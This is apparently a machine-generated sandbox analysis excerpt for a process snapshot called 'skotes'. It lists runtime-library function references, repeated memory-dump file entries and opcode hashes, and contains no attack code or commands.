                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00176B20
                                                                                                                                                                                                                                                                                    • List.LIBCONCRT ref: 00176B5B
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00176B68
                                                                                                                                                                                                                                                                                      • Part of subcall function 00175EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00175EF7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00175EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00175F09
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3403738998-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
                                                                                                                                                                                                                                                                                    • Instruction ID: 1f6ffcc8e1c1aa274f6ead657a5788787a3aca28a49d4d6dd962de041c7d5303
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FC514F71A00609AFDB08DF64C595BEDB3B9BF18304F158069E919AB282DB74EE45CB90
                                                                                                                                                                                                                                                                                    Function 001852A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • IsInExceptionSpec.LIBVCRUNTIME ref: 001853A0
                                                                                                                                                                                                                                                                                    • type_info::operator==.LIBVCRUNTIME ref: 001853C7
                                                                                                                                                                                                                                                                                    • ___TypeMatch.LIBVCRUNTIME ref: 001854D3
                                                                                                                                                                                                                                                                                    • IsInExceptionSpec.LIBVCRUNTIME ref: 001855AE
                                                                                                                                                                                                                                                                                    • CallUnexpected.LIBVCRUNTIME ref: 00185650
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
                                                                                                                                                                                                                                                                                    • String ID: csm$csm$csm
                                                                                                                                                                                                                                                                                    • API String ID: 4162181273-393685449
                                                                                                                                                                                                                                                                                    • Opcode ID: db4a48e8b2918b11d5ca1b4fa8bdcfffe0e0f7af05eaf775a5579aacc00049b4
                                                                                                                                                                                                                                                                                    • Instruction ID: 3a80bedaf678c6c0d7b88808eba02cefe974ab47a9067c38c5d088ef078523ca
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: db4a48e8b2918b11d5ca1b4fa8bdcfffe0e0f7af05eaf775a5579aacc00049b4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 09C15571800A19EFCF29EFA8C8809AEBBB6FF24315B54415AF8156B202D771DB51CF91
                                                                                                                                                                                                                                                                                    Function 00177364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001773B0
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001773F2
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0017740E
                                                                                                                                                                                                                                                                                    • Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00177419
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00177440
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: count$ppVirtualProcessorRoots
                                                                                                                                                                                                                                                                                    • API String ID: 3897347962-3650809737
                                                                                                                                                                                                                                                                                    • Opcode ID: 0717b168c8f222a59499c36cede218428923e6e12f3d96adf20270b88e3413d7
                                                                                                                                                                                                                                                                                    • Instruction ID: 2ff392560e55ea269a4932269b878be8f5cbb89cbe70c42b4e9364a203f5baef
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0717b168c8f222a59499c36cede218428923e6e12f3d96adf20270b88e3413d7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A8216534A00309EFCF14EF68D5959ADBBB5BF19310F148069E80AA7391DB30AE01CF90
                                                                                                                                                                                                                                                                                    Function 001778E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00177903
                                                                                                                                                                                                                                                                                      • Part of subcall function 00175CB8: __EH_prolog3_catch.LIBCMT ref: 00175CBF
                                                                                                                                                                                                                                                                                      • Part of subcall function 00175CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00175CF8
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0017792A
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00177936
                                                                                                                                                                                                                                                                                      • Part of subcall function 00175CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00175D70
                                                                                                                                                                                                                                                                                      • Part of subcall function 00175CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00175D7E
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00177982
                                                                                                                                                                                                                                                                                    • Concurrency::location::_Assign.LIBCMT ref: 001779A3
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 001779AB
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001779BD
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 001779ED
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00176942
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00176965
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
